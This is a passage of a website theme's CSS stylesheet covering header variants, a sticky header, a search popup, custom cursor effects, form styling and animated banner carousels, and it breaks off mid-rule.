.header-style-nine .search-btn { display: none; } .header-style-nine__search-btn__outer { display: -webkit-box; display: -ms-flexbox; display: flex; position: fixed; top: 0; right: 0; } } .header-style-nine .social-icons { display: none; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } @media (min-width: 576px) { .header-style-nine .social-icons { display: -webkit-box; display: -ms-flexbox; display: flex; } } @media (min-width: 992px) { .header-style-nine .social-icons { -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: auto; } } .header-style-nine .social-icons a { font-size: 16px; color: var(--thm-text); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .header-style-nine .social-icons a:hover { color: var(--thm-base); } .header-style-nine .social-icons a + a { margin-left: 20px; } @media (min-width: 992px) { .header-style-nine .social-icons a + a { margin-left: 0; margin-top: 15px; } } .header-style-nine__search-btn__outer button, .header-style-nine .search-btn button { background-color: transparent; } .header-style-nine__search-btn__outer button span, .header-style-nine .search-btn button span { font-size: 22px; color: var(--thm-black); position: relative; display: block; margin-right: 20px; } .header-style-nine__search-btn__outer .text, .header-style-nine .search-btn .text { font-size: 16px; color: var(--thm-text); } .header-style-nine__search-btn__outer { padding: 33px 70px; z-index: 991; background-color: var(--thm-gray); } /*** ==================================================================== 6. Sticky Header ==================================================================== ***/ .sticky-header { position: fixed; visibility: hidden; opacity: 0; left: 0px; top: 0px; width: 100%; padding: 0px 0px; z-index: -1; background: #ffffff; border-bottom: 1px solid #f0f0f0; -ms-box-shadow: 0 0 15px rgba(0, 0, 0, 0.1); -o-box-shadow: 0 0 15px rgba(0, 0, 0, 0.1); -webkit-box-shadow: 0 0 15px rgba(0, 0, 0, 0.1); box-shadow: 0 0 15px rgba(0, 0, 0, 0.1); -webkit-transition: top 300ms ease; transition: top 300ms ease; } .fixed-header .sticky-header { opacity: 1; z-index: 99901; visibility: visible; } .fixed-header .sticky-header .logo { padding: 10px 0px; } .sticky-header .main-menu .navigation > li { margin-left: 40px !important; padding: 0; margin-right: 0; background-color: transparent; } .sticky-header .main-menu .navigation > li.dropdown > a:after, .sticky-header .main-menu .navigation > li:before { display: none; } .sticky-header .main-menu .navigation > li > a { padding: 21px 0px !important; line-height: 30px; font-size: 16px; font-weight: 600; color: #25283a; text-transform: capitalize; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .sticky-header .main-menu .navigation > li > ul > li > ul { left: auto; right: 100%; } .sticky-header .main-menu .navigation > li:hover > a, .sticky-header .main-menu .navigation > li.current > a, .sticky-header .main-menu .navigation > li.current-menu-item > a { opacity: 1; } /*** ==================================================================== 7. Search Popup ==================================================================== ***/ .search-popup { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 99999; -webkit-transform: scale(1, 0); transform: scale(1, 0); -webkit-transform-origin: bottom center; transform-origin: bottom center; -webkit-transition: -webkit-transform 0.7s ease; transition: -webkit-transform 0.7s ease; transition: transform 0.7s ease; transition: transform 0.7s ease, -webkit-transform 0.7s ease; } .search-popup.active { -webkit-transform-origin: top center; transform-origin: top center; -webkit-transform: scale(1, 1); transform: scale(1, 1); } .search-popup__overlay { width: 100%; height: 100%; background-color: #000; position: absolute; top: 0; left: 0; right: 0; bottom: 0; z-index: 999; opacity: 0.7; cursor: none; } .search-popup__inner { position: absolute; width: 100%; height: 100%; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .search-popup__form { position: relative; z-index: 9991; width: 100%; padding: 15px; max-width: 600px; position: relative; } .search-popup__form input { background-color: transparent; border: none; outline: none; width: 100%; height: 60px; line-height: 30px; padding: 15px 30px; color: #272727; font-size: 14px; background-color: #ffffff; font-family: var(--thm-b-font); padding-left: 30px; } .search-popup__form button[type="submit"] { border: none; outline: none; width: 60px; height: 60px; line-height: 60px; color: #fff; background-color: var(--thm-base); cursor: pointer; position: absolute; top: 50%; right: 15px; -webkit-transform: translateY(-50%); transform: translateY(-50%); -webkit-transition: all 0.4s ease; transition: all 0.4s ease; } .search-popup__form button[type="submit"]:hover { background-color: var(--thm-black); color: #ffffff; } .cursor { position: absolute; background-color: #fff; width: 6px; height: 6px; border-radius: 100%; z-index: 1; -webkit-transition: 0.2s cubic-bezier(0.75, -0.27, 0.3, 1.33) opacity, 0.3s cubic-bezier(0.75, -1.27, 0.3, 2.33) -webkit-transform; transition: 0.2s cubic-bezier(0.75, -0.27, 0.3, 1.33) opacity, 0.3s cubic-bezier(0.75, -1.27, 0.3, 2.33) -webkit-transform; transition: 0.3s cubic-bezier(0.75, -1.27, 0.3, 2.33) transform, 0.2s cubic-bezier(0.75, -0.27, 0.3, 1.33) opacity; transition: 0.3s cubic-bezier(0.75, -1.27, 0.3, 2.33) transform, 0.2s cubic-bezier(0.75, -0.27, 0.3, 1.33) opacity, 0.3s cubic-bezier(0.75, -1.27, 0.3, 2.33) -webkit-transform; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; pointer-events: none; z-index: 999999; -webkit-transform: scale(1); transform: scale(1); visibility: hidden; } .cursor { visibility: visible; } .cursor.active { opacity: 0.5; -webkit-transform: scale(0); transform: scale(0); } .cursor.hovered { opacity: 0.08; } .cursor-follower { position: absolute; background-color: RGBA(255, 255, 255, 0.3); width: 50px; height: 50px; border-radius: 100%; z-index: 1; -webkit-transition: 0.2s cubic-bezier(0.75, -0.27, 0.3, 1.33) opacity, 0.6s cubic-bezier(0.75, -1.27, 0.3, 2.33) -webkit-transform; transition: 0.2s cubic-bezier(0.75, -0.27, 0.3, 1.33) opacity, 0.6s cubic-bezier(0.75, -1.27, 0.3, 2.33) -webkit-transform; transition: 0.6s cubic-bezier(0.75, -1.27, 0.3, 2.33) transform, 0.2s cubic-bezier(0.75, -0.27, 0.3, 1.33) opacity; transition: 0.6s cubic-bezier(0.75, -1.27, 0.3, 2.33) transform, 0.2s cubic-bezier(0.75, -0.27, 0.3, 1.33) opacity, 0.6s cubic-bezier(0.75, -1.27, 0.3, 2.33) -webkit-transform; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; pointer-events: none; z-index: 999999; visibility: hidden; } .cursor-follower { visibility: visible; } .cursor-follower.active { opacity: 0.7; -webkit-transform: scale(1); transform: scale(1); } .cursor-follower.hovered { opacity: 0.08; } .cursor-follower.close-cursor:before { position: absolute; content: ""; height: 25px; width: 2px; background: #fff; left: 48%; top: 12px; -webkit-transform: rotate(-45deg); transform: rotate(-45deg); display: inline-block; } .cursor-follower.close-cursor:after { position: absolute; content: ""; height: 25px; width: 2px; background: #fff; right: 48%; top: 12px; -webkit-transform: rotate(45deg); transform: rotate(45deg); } /*** ==================================================================== 8. Mobile Menu ==================================================================== ***/ .nav-outer .mobile-nav-toggler { position: relative; float: right; font-size: 30px; line-height: 40px; cursor: pointer; margin-left: 0px; color: var(--thm-base); margin: 40px 0px 0px; display: none; } .mobile-nav-toggler .txt { position: relative; display: inline-block; vertical-align: top; padding-left: 10px; font-size: 16px; text-transform: capitalize; font-weight: 500; display: none; } /*** ==================================================================== 9. Lazy Load Settings ==================================================================== ***/ img.lazy-image { background: url(../images/icons/image-bg.svg) center center no-repeat; } img.lazy-image.loaded { background-image: none; } .owl-theme img.lazy-image.loaded { height: auto; opacity: 1; } /* Default Form Style */ .default-form { position: relative; } .default-form .row { margin: 0 -15px; } .default-form .form-group { position: relative; margin-bottom: 30px; } .default-form .field-inner { position: relative; display: block; } .default-form .field-inner .alt-icon { position: absolute; left: 20px; top: 50%; margin-top: -15px; line-height: 30px; font-size: 20px; color: #9b9fa6; z-index: 1; pointer-events: none; } .default-form .form-group .field-label { position: relative; display: block; color: #0f172b; font-size: 14px; line-height: 24px; text-transform: uppercase; letter-spacing: 2px; margin-bottom: 10px; } .default-form .form-group .e-label { position: relative; } .default-form .form-group input[type="text"], .default-form .form-group input[type="email"], .default-form .form-group input[type="password"], .default-form .form-group input[type="tel"], .default-form .form-group input[type="url"], .default-form .form-group input[type="file"], .default-form .form-group input[type="number"], .default-form .form-group textarea, .default-form .form-group select { position: relative; display: block; height: 70px; width: 100%; font-size: 14px; color: #686a6f; line-height: 40px; font-weight: 400; padding: 14px 30px; background-color: #f4f5f8; border: 1px solid #222429; border-radius: 7px; font-family: var(--thm-b-font); -webkit-transition: all 300ms ease; transition: all 300ms ease; } .default-form .form-group ::-webkit-input-placeholder { opacity: 1; color: inherit; } .default-form .form-group :-ms-input-placeholder { opacity: 1; color: inherit; } .default-form .form-group ::-ms-input-placeholder { opacity: 1; color: inherit; } .default-form .form-group ::placeholder { opacity: 1; color: inherit; } .default-form .form-group textarea { height: 220px; resize: none; } .contact-form .form-group input[type="submit"], .contact-form .form-group button { display: inline-block; } .default-form .form-group input[type="text"]:focus, .default-form .form-group input[type="email"]:focus, .default-form .form-group input[type="password"]:focus, .default-form .form-group input[type="tel"]:focus, .default-form .form-group input[type="url"]:focus, .default-form .form-group input[type="file"]:focus, .default-form .form-group input[type="number"]:focus, .default-form .form-group textarea:focus, .default-form .form-group select:focus, .form-group .ui-selectmenu-button.ui-button:focus, .form-group .ui-selectmenu-button.ui-button:active { border-color: var(--thm-base); } .default-form ::-webkit-input-placeholder { color: #aaaaaa; } .default-form ::-moz-input-placeholder { color: #aaaaaa; } .default-form ::-ms-input-placeholder { color: #aaaaaa; } .default-form label.error { color: #ff0000; font-size: 14px; text-transform: capitalize; text-align: left; display: block; letter-spacing: 1px; padding-top: 7px; line-height: 24px; } /*Custom Select*/ .form-group .ui-selectmenu-button.ui-button { width: 100%; font-size: 14px; font-style: normal; height: 70px; padding: 14px 30px; line-height: 40px; font-family: var(--thm-b-font); color: var(--thm-text); border-radius: 7px; background-color: #f4f5f8; border: 1px solid #f4f5f8; } .form-group .ui-button .ui-icon { background: none; position: relative; top: 10px; text-indent: 0px; color: var(--thm-black); } .form-group .ui-button .ui-icon:before { font-family: "Font Awesome 5 Free"; content: "\f107"; position: absolute; right: 0px; top: 0px !important; width: 15px; height: 30px; display: block; color: var(--thm-black); line-height: 20px; font-size: 16px; font-weight: 900; text-align: center; z-index: 5; } .ui-widget.ui-widget-content { background: #f4f5f8; border: 1px solid #e9ebee; border-top: none; font-family: var(--thm-font); border-radius: 0; padding: 0; } .ui-menu .ui-menu-item { font-size: 20px; border-bottom: 1px solid #e9ebee; } .ui-menu .ui-menu-item:last-child { border: none; } .ui-menu .ui-menu-item-wrapper { position: relative; display: block; padding: 14px 30px !important; font-size: 20px; letter-spacing: 0.02em; line-height: 30px; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .ui-menu .ui-menu-item-wrapper:hover, .ui-menu .ui-menu-item-wrapper.ui-state-active { background: var(--thm-base); margin: 0; } /*** ==================================================================== 10. Banner Section ==================================================================== ***/ .banner-section { position: relative; z-index: 1; } .banner-section .bg-image { position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-position: center top; background-size: cover; z-index: 1; } .banner-section .left-based-text { position: absolute; left: 50px; top: 50px; bottom: 50px; color: #ffffff; font-size: 16px; text-transform: uppercase; line-height: 24px; letter-spacing: 0.1em; font-weight: 500; z-index: 10; font-family: var(--thm-font); } .banner-section .left-based-text .base-inner { position: absolute; left: 0; bottom: 0; width: 730px; height: 24px; -webkit-transform-origin: left bottom; transform-origin: left bottom; -webkit-transform: rotate(-90deg); transform: rotate(-90deg); } .banner-section .left-based-text .social-links { position: absolute; left: 0; top: 0; } .banner-section .left-based-text .social-links ul li { float: left; margin-right: 35px; } .banner-section .left-based-text .social-links ul li a { position: relative; display: block; color: #ffffff; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .banner-section .left-based-text .social-links ul li a:before { content: ""; position: absolute; left: 0; bottom: -3px; width: 100%; border-bottom: 2px solid var(--thm-base); -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .banner-section .left-based-text .social-links ul li a:hover:before { -webkit-transform: scale(1); transform: scale(1); } .banner-section .left-based-text .hours { position: absolute; right: 0; top: 0; } .banner-section .left-based-text .hours ul li { float: left; margin-left: 35px; } .banner-three .left-based-text .social-links ul li a, .banner-three .left-based-text .hours ul li { color: var(--thm-black); } .banner-section .left-based-text .social-links ul li a:before { border-bottom-color: var(--thm-black); } .banner-carousel { position: relative; z-index: 1; } .banner-carousel .slide-item { position: relative; display: block; background-color: var(--thm-black); color: #ffffff; overflow: hidden; } .banner-three .banner-carousel .slide-item { background: none; } .banner-carousel .slide-item:before { content: ""; position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-color: var(--thm-black); opacity: 0.6; z-index: 1; } .banner-two .banner-carousel .slide-item::after { content: ""; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-image: url(../images/main-slider/slide-2-pattern-1.png); z-index: 10; } .banner-two .banner-carousel .slide-item:before { opacity: 0.8; } .banner-three .banner-carousel .slide-item:before { display: none; } .banner-carousel .slide-item .left-top-line { position: absolute; left: 0; top: 0; width: 350px; max-width: 100%; height: 100%; background: url(../images/main-slider/left-curve-line.png) left top no-repeat; z-index: 2; opacity: 0; -webkit-transform: translateY(-100%); transform: translateY(-100%); } .banner-carousel .active .left-top-line { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1000ms ease; transition: all 1000ms ease; -webkit-transition-delay: 200ms; transition-delay: 200ms; } .banner-carousel .slide-item .right-bottom-curve { position: absolute; right: 0; top: 0; width: 655px; max-width: 100%; height: 100%; /* background: url(../images/main-slider/right-curved-bg.png) right bottom no-repeat;*/ z-index: 2; opacity: 0; -webkit-transform: translateX(700px); transform: translateX(700px); } .banner-carousel .active .right-bottom-curve { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1000ms ease; transition: all 1000ms ease; -webkit-transition-delay: 1300ms; transition-delay: 1300ms; } .banner-carousel .slide-item .right-top-curve { position: absolute; right: 0; top: 0; width: 164px; max-width: 100%; height: 100%; /*background: url(../images/main-slider/right-white-curve.png) right top no-repeat;*/ z-index: 2; opacity: 0; -webkit-transform: translateX(200px); transform: translateX(200px); } .banner-carousel .active .right-top-curve { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1000ms ease; transition: all 1000ms ease; -webkit-transition-delay: 1800ms; transition-delay: 1800ms; } .banner-carousel .slide-item .round-shape-1 { position: absolute; left: -500px; bottom: -500px; width: 1000px; height: 1000px; background: rgba(255, 255, 255, 0.2); border-radius: 50%; z-index: 2; opacity: 0; -webkit-transform: translateY(100%); transform: translateY(100%); } .banner-carousel .active .round-shape-1 { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1000ms ease; transition: all 1000ms ease; -webkit-transition-delay: 1500ms; transition-delay: 1500ms; } .banner-carousel .slide-item .shape-1 { position: absolute; left: 0; top: 0; width: 570px; max-width: 100%; height: 810px; background: url(../images/main-slider/b-2-shape-1.png) left top no-repeat; z-index: 2; opacity: 0; -webkit-transform: translateY(-100%); transform: translateY(-100%); } .banner-carousel .active .shape-1 { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1000ms ease; transition: all 1000ms ease; -webkit-transition-delay: 200ms; transition-delay: 200ms; } .banner-carousel .slide-item .shape-2 { position: absolute; left: 0; bottom: 55px; width: 333px; max-width: 100%; height: 366px; background: url(../images/main-slider/b-2-shape-2.png) left bottom no-repeat; z-index: 2; opacity: 0; -webkit-transform: translateX(-500px); transform: translateX(-500px); } .banner-carousel .active .shape-2 { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1000ms ease; transition: all 1000ms ease; -webkit-transition-delay: 500ms; transition-delay: 500ms; } .banner-carousel .slide-item .shape-3 { position: absolute; right: 0; bottom: 0; width: 824px; max-width: 100%; height: 424px; background: url(../images/main-slider/b-2-shape-3.png) right bottom no-repeat; z-index: 2; opacity: 0; -webkit-transform: translateX(900px); transform: translateX(900px); } .banner-carousel .active .shape-3 { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1000ms ease; transition: all 1000ms ease; -webkit-transition-delay: 1800ms; transition-delay: 1800ms; } .banner-carousel .slide-item .shape-4 { position: absolute; right: 0; top: 0; width: 218px; max-width: 100%; height: 571px; background: url(../images/main-slider/b-2-shape-4.png) right top no-repeat; z-index: 2; opacity: 0; -webkit-transform: translateX(200px); transform: translateX(200px); } .banner-carousel .active .shape-4 { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1000ms ease; transition: all 1000ms ease; -webkit-transition-delay: 2500ms; transition-delay: 2500ms; } .banner-carousel .slide-item .shape-5 { position: absolute; right: 0; top: 0; width: 306px; max-width: 100%; height: 904px; background: url(../images/main-slider/b-2-shape-5.png) right top no-repeat; z-index: 2; opacity: 0; -webkit-transform: translateY(-1000px); transform: translateY(-1000px); } .banner-carousel .active .shape-5 { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1500ms ease; transition: all 1500ms ease; -webkit-transition-delay: 2700ms; transition-delay: 2700ms; } .banner-carousel .slide-item .shape-6 { position: absolute; right: 0; top: 0; width: 100%; max-width: 100%; height: 100%; background: url(../images/main-slider/b-2-shape-6.png) center center no-repeat; z-index: 3; opacity: 0; -webkit-transform: scale(0); transform: scale(0); } .banner-carousel .active .shape-6 { opacity: 1; -webkit-transform: scale(1); transform: scale(1); -webkit-transition: all 1500ms ease; transition: all 1500ms ease; -webkit-transition-delay: 2700ms; transition-delay: 2700ms; } .banner-carousel .slide-item .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; opacity: 1; z-index: 0; background-repeat: no-repeat; background-position: center center; background-size: cover; /* -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%);*/ -webkit-transform: scale(1); transform: scale(1); } .banner-carousel .active .slide-item .image-layer { -webkit-transform: scale(1.15); transform: scale(1.15); -webkit-transition: all 7000ms linear; transition: all 7000ms linear; } .banner-carousel .content-box { position: relative; display: table; vertical-align: middle; width: 100%; height: 950px; padding: 0 0px; z-index: 11; } .banner-carousel .content-box .content { position: relative; display: table-cell; vertical-align: middle; padding: 150px 0px 50px; } .banner-carousel .content-box .inner { position: relative; display: block; /*max-width: 800px;*/ } .banner-two .banner-carousel .content-box .inner { max-width: 820px; margin: 0 auto; text-align: center; } .banner-three .banner-carousel .content-box .inner { max-width: 550px; } .banner-carousel .content-box .sub-title { display: block; font-size: 24px; line-height: 1.5em; color: #ffffff; font-weight: 400; text-transform: uppercase; letter-spacing: 0.05em; margin-bottom: 20px; opacity: 0; -webkit-transform: translateY(80px); transform: translateY(80px); font-family: var(--thm-font); } .banner-carousel .active .content-box .sub-title { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 700ms ease; transition: all 700ms ease; -webkit-transition-delay: 800ms; transition-delay: 800ms; } .banner-carousel .content-box h1 { display: block; font-size: 140px; line-height: 0.85em; color: #ffffff; font-weight: 600; opacity: 0; text-transform: uppercase; letter-spacing: 0; margin: 0; -webkit-transform: translateY(80px); transform: translateY(80px); } .banner-two .banner-carousel .content-box h1 { text-transform: capitalize; } .banner-three .banner-carousel .content-box h1 { font-size: 120px; color: var(--thm-black); font-weight: 500; } .banner-carousel .active .content-box h1 { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1000ms ease; transition: all 1000ms ease; -webkit-transition-delay: 1300ms; transition-delay: 1300ms; } .banner-three .banner-carousel .active .content-box h1 { -webkit-transition-delay: 700ms; transition-delay: 700ms; } .banner-carousel .content-box .text { position: relative; color: var(--thm-black); margin: 5px 0 0; opacity: 0; -webkit-transform: translateY(80px); transform: translateY(80px); } .banner-carousel .active .content-box .text { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 700ms ease; transition: all 700ms ease; -webkit-transition-delay: 1200ms; transition-delay: 1200ms; } .banner-carousel .content-box .link-box { position: relative; display: block; padding-top: 50px; opacity: 0; -webkit-transform: translateY(50px); transform: translateY(50px); } .banner-three .banner-carousel .content-box .link-box { padding-top: 45px; } .banner-carousel .active .content-box .link-box { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 700ms ease; transition: all 700ms ease; -webkit-transition-delay: 1800ms; transition-delay: 1800ms; } .banner-carousel .slide-item .round-image { position: absolute; right: -200px; top: -100px; width: 850px; height: 850px; border-radius: 50%; z-index: 2; } .banner-carousel .slide-item .round-image .image { position: absolute; left: 0; top: 0; width: 850px; height: 850px; background-size: cover; background-position: left top; border-radius: 50%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); z-index: 2; opacity: 0; -webkit-transform: translateX(100%); transform: translateX(100%); overflow: hidden; } .banner-carousel .slide-item .round-image .image::before { content: ""; position: absolute; opacity: 0.5; background-color: var(--thm-black); top: 0; left: 0; right: 0; bottom: 0; border-radius: 50%; } .banner-carousel .active .round-image .image { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1000ms ease; transition: all 1000ms ease; -webkit-transition-delay: 200ms; transition-delay: 200ms; } .banner-carousel .slide-item .round-image:before { content: ""; position: absolute; left: -100px; bottom: 120px; width: 100%; height: 100%; background: var(--thm-black); border-radius: 50%; z-index: 1; opacity: 0; -webkit-transform: translateX(100%); transform: translateX(100%); } .banner-carousel .active .round-image:before { opacity: 0.1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1000ms ease; transition: all 1000ms ease; -webkit-transition-delay: 700ms; transition-delay: 700ms; } .banner-carousel .slide-item .round-image:after { content: ""; position: absolute; left: -100px; bottom: -50px; width: 330px; height: 330px; background: url(../images/main-slider/b-3-shape.png) center center no-repeat; z-index: 3; opacity: 0; -webkit-transform: translateY(100%); transform: translateY(100%); } .banner-carousel .active .round-image:after { opacity: 1; -webkit-transform: translate(0); transform: translate(0); -webkit-transition: all 1000ms ease; transition: all 1000ms ease; -webkit-transition-delay: 1000ms; transition-delay: 1000ms; } .banner-carousel .owl-nav { position: absolute; left: 50%; margin-left: -600px; top: 50%; width: 1200px; height: 110px; text-align: right; } .banner-carousel .owl-nav .owl-next, .banner-carousel .owl-nav .owl-prev { position: absolute; top: 0; right: 0; width: 50px; height: 50px; background: #ffffff !important; padding: 0; margin: 0; line-height: 50px; text-align: center; opacity: 0.2; border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .banner-carousel .owl-nav .owl-next { top: auto; bottom: 0; } .banner-carousel .owl-nav .owl-next span, .banner-carousel .owl-nav .owl-prev span { vertical-align: middle; } .banner-carousel .owl-nav .owl-next:hover, .banner-carousel .owl-nav .owl-prev:hover { opacity: 1; } .banner-section .owl-dots { position: absolute; left: 0; bottom: 50px; width: 100%; text-align: center; display: none; } .banner-two .owl-nav, .banner-three .owl-nav { display: none; } .banner-three { background-color: var(--thm-base); } .banner-three .bg-image { opacity: 0.03; } .banner-two .owl-dots { display: block; } .banner-section .owl-theme .owl-dots .owl-dot { position: relative; display: inline-block; vertical-align: top; margin: 0px 3px; } .banner-section .owl-theme .owl-dots .owl-dot span { position: relative; display: block; width: 10px; height: 10px; border: 5px solid rgba(255, 255, 255, 0.2); border-radius: 50%; } .banner-section .owl-theme .owl-dots .owl-dot.active span { background: none; border-width: 2px; border-color: var(--thm-base); } /* banner one page */ .banner-one-page { margin-top: 117px; } .banner-one-page .banner-carousel .content-box .inner { max-width: 100%; } .banner-one-page .banner-carousel .content-box { height: 600px; } @media (min-width: 992px) { .banner-one-page .banner-carousel .content-box { height: 860px; } } .banner-one-page .banner-carousel .content-box h1 { font-size: 46px; color: var(--thm-base); } .banner-one-page .banner-carousel .content-box h1 span { color: #fff; font-weight: 300; } @media (min-width: 600px) { .banner-one-page .banner-carousel .content-box h1 { font-size: 60px; } } @media (min-width: 768px) { .banner-one-page .banner-carousel .content-box h1 { font-size: 80px; } } @media (min-width: 992px) { .banner-one-page .banner-carousel .content-box h1 { font-size: 100px; } } @media (min-width: 1200px) { .banner-one-page .banner-carousel .content-box h1 { font-size: 150px; } } .banner-one-page .banner-carousel .content-box .link-box { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; } .banner-one-page .banner-carousel .content-box .content { padding-top: 0; padding-bottom: 0; } .banner-one-page .banner-carousel .vid-link { width: 70px; height: 70px; line-height: 70px; text-align: center; font-size: 20px; color: #ffffff; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; z-index: 3; margin-left: 15px; } @media (min-width: 376px) { .banner-one-page .banner-carousel .vid-link { margin-left: 30px; } } .banner-one-page .banner-carousel .vid-link .icon { position: relative; display: block; width: 70px; height: 70px; line-height: 70px; text-align: center; font-size: 16px; color: var(--thm-black); background: #fff; border-radius: 50%; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .banner-one-page .banner-carousel .vid-link a:hover .icon { background: var(--thm-black); color: var(--thm-base); } .banner-one-page .banner-carousel .vid-link .ripple, .banner-one-page .banner-carousel .vid-link .ripple:before, .banner-one-page .banner-carousel .vid-link .ripple:after { position: absolute; top: 50%; left: 50%; width: 70px; height: 70px; border-radius: 50%; -ms-border-radius: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); -ms-box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); -o-box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); -webkit-box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } .banner-one-page .banner-carousel .vid-link .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } .banner-one-page .banner-carousel .vid-link .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } .banner-one-page .banner-carousel .content-box .link-box { padding-top: 30px; } .banner-one-page .banner-carousel .owl-nav { width: 100%; left: 0; margin-left: 0; display: none; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; -webkit-box-align: center; -ms-flex-align: center; align-items: center; padding-left: 15px; padding-right: 15px; } @media (min-width: 376px) { .banner-one-page .banner-carousel .owl-nav { padding-left: 20px; padding-right: 20px; } } @media (min-width: 768px) { .banner-one-page .banner-carousel .owl-nav { display: -webkit-box; display: -ms-flexbox; display: flex; } .banner-one-page .banner-carousel .owl-nav { padding-left: 30px; padding-right: 30px; } } @media (min-width: 992px) { .banner-one-page .banner-carousel .owl-nav { padding-left: 60px; padding-right: 60px; } } .banner-one-page .banner-carousel .owl-nav .owl-next, .banner-one-page .banner-carousel .owl-nav .owl-prev { position: relative; top: auto; right: auto; } /* banner four */ .banner-section-four { position: relative; margin-top: 44px; } .banner-section-four .swiper-slide::before { content: ""; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-image: url(../images/update-1-12-2020/shapes/menu-top-shadow.png); background-repeat: no-repeat; background-position: top center; z-index: 10; } .banner-section-four .swiper-slide { position: relative; } .banner-section-four .swiper-slide .image-layer { position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-repeat: no-repeat; background-size: cover; -webkit-transform: scale(1); transform: scale(1); background-position: center; -webkit-transition: -webkit-transform 7000ms ease; transition: -webkit-transform 7000ms ease; transition: transform 7000ms ease; transition: transform 7000ms ease, -webkit-transform 7000ms ease; } .banner-section-four .swiper-slide-active .image-layer { -webkit-transform: scale(1.15); transform: scale(1.15); } .banner-section-four .auto-container { padding-top: 350px; padding-bottom: 200px; position: relative; z-index: 22; } .banner-section-four h2 { margin: 0; font-weight: bold; color: #fff; font-size: 80px; line-height: 90px; opacity: 0; visibility: hidden; -webkit-transform: translateY(110px); transform: translateY(110px); -webkit-transition-delay: 1000ms; transition-delay: 1000ms; -webkit-transition: opacity 2000ms ease, -webkit-transform 2000ms ease; transition: opacity 2000ms ease, -webkit-transform 2000ms ease; transition: transform 2000ms ease, opacity 2000ms ease; transition: transform 2000ms ease, opacity 2000ms ease, -webkit-transform 2000ms ease; } .banner-section-four p { margin: 0; font-size: 20px; line-height: 36px; font-weight: 500; color: rgba(255, 255, 255, 0.7); opacity: 0.7; margin-top: 40px; margin-bottom: 50px; opacity: 0; -webkit-transform: translateY(100px); transform: translateY(100px); -webkit-transition-delay: 2500ms; transition-delay: 2500ms; -webkit-transition: opacity 2000ms ease, color 500ms ease, background 500ms ease, -webkit-transform 2000ms ease; transition: opacity 2000ms ease, color 500ms ease, background 500ms ease, -webkit-transform 2000ms ease; transition: transform 2000ms ease, opacity 2000ms ease, color 500ms ease, background 500ms ease; transition: transform 2000ms ease, opacity 2000ms ease, color 500ms ease, background 500ms ease, -webkit-transform 2000ms ease; } .banner-section-four .btn-style-three { min-width: 220px; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; opacity: 0; -webkit-transform: translateY(100px); transform: translateY(100px); -webkit-transition-delay: 2500ms; transition-delay: 2500ms; -webkit-transition: opacity 2000ms ease, color 500ms ease, background 500ms ease, -webkit-transform 2000ms ease; transition: opacity 2000ms ease, color 500ms ease, background 500ms ease, -webkit-transform 2000ms ease; transition: transform 2000ms ease, opacity 2000ms ease, color 500ms ease, background 500ms ease; transition: 